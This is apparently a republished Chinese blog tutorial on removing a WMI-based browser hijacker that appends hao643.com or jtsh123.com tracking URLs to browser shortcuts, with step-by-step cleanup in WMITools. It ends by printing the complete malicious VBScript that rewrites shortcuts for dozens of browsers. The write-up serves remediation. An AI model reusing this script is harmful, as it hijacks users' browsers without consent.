WMITools修復wmi劫持--hao643.com/jtsh123劫持(修改快捷方式跳轉至hao123.com)


>症狀:
所有瀏覽器快捷方式,都被加上尾巴,例如IE的:"C:\Program Files\Internet Explorer\iexplore.exe" http://hao643.com/?r=ggggg&m=c104
手工去掉尾巴后,每隔一定時間(網友說是30分鍾)后,尾巴重新被加上。
PS:這病毒僅修改快捷方式,應該沒有其它病毒特征。


>解決方案:
1.安裝WMITools(點擊下載
2.管理員身份打開 C:\Program Files (x86)\WMI Tools\wbemEventViewer.exe
3.點擊左上角第一個按鈕 “Register for Events”(鋼筆形狀)

4. 彈出WMI Event Registration Editor新窗口,在彈出的“連接命名空間”里,輸入root\CIMV2 

      我的是默認已經輸入這個了,如果沒有就需要自己創建,方法是:

    自己創建Namespace的方法:

 

 

 

“命名空間”里,就是 root\CIMV2  了。

 

5. 點“OK”按鈕,在login 界面也直接點“OK” 按鈕。 (自己創建“命名空間”的可以跳過這一步喲)

 

 6.  在第1個下拉菜單有3個選擇項:Consumers、Filters、Timers
      

                在右側選中后右擊——>選擇view instant properties
                

查看ScriptText項可知,這是一段VBScript調用系統服務間隔30分鍾執行一次,將所有瀏覽器調用加上“http://hk.jtsh123.com/?r=b&m=10” 或 "http://hao643.com/?r=ggggg&m=e2"

我們要做的是,將上方屬性中的Script相關的項目下的所有VBScript內容全部刪除

當然,也可以直接將“WMI Event Registration Editor”窗口的第一個下拉菜單(有3個Consumers、Filters、Timers選擇項的)左側下方的所有實例全部刪除(右鍵菜單,Delete instance)

 

7.去掉所有瀏覽器快捷方式的尾巴--涉及所有的瀏覽器快捷方式:

最后還沒完,還要手動將快速啟動欄中,將各個瀏覽器快捷命令中的“http://hk.jtsh123.com/?r=b&m=10” 或 “http://hao643.com/?r=ggggg&m=e2” 去掉!

 

114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe
8. 完成Done.

 

>附 病毒腳本

1 On Error Resume Next:Const link = "http://hao643.com/?r=ggggg&m=c104":Const link360 = "http://hao643.com/?r=ggggg&m=c104&s=3":browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe":lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\ChenShao\Desktop,C:\Users\ChenShao\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\ChenShao\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\ChenShao\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\ChenShao\AppData\Roaming\Microsoft\Windows\Start Menu\Programs":browsersArr = split(browsers,","):Set oDic = CreateObject("scripting.dictionary"):For Each browser In browsersArr:oDic.Add LCase(browser), browser:Next:lnkpathsArr = split(lnkpaths,","):Set oFolders = CreateObject("scripting.dictionary"):For Each lnkpath In lnkpathsArr:oFolders.Add lnkpath, lnkpath:Next:Set fso = CreateObject("Scripting.Filesystemobject"):Set WshShell = CreateObject("Wscript.Shell"):For Each oFolder In oFolders:If fso.FolderExists(oFolder) Then:For Each file In fso.GetFolder(oFolder).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:Set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:If LCase(name) = LCase("360se.exe") Then:oShellLink.Arguments = link360:Else:oShellLink.Arguments = link:End If:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:Next:
View Code

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM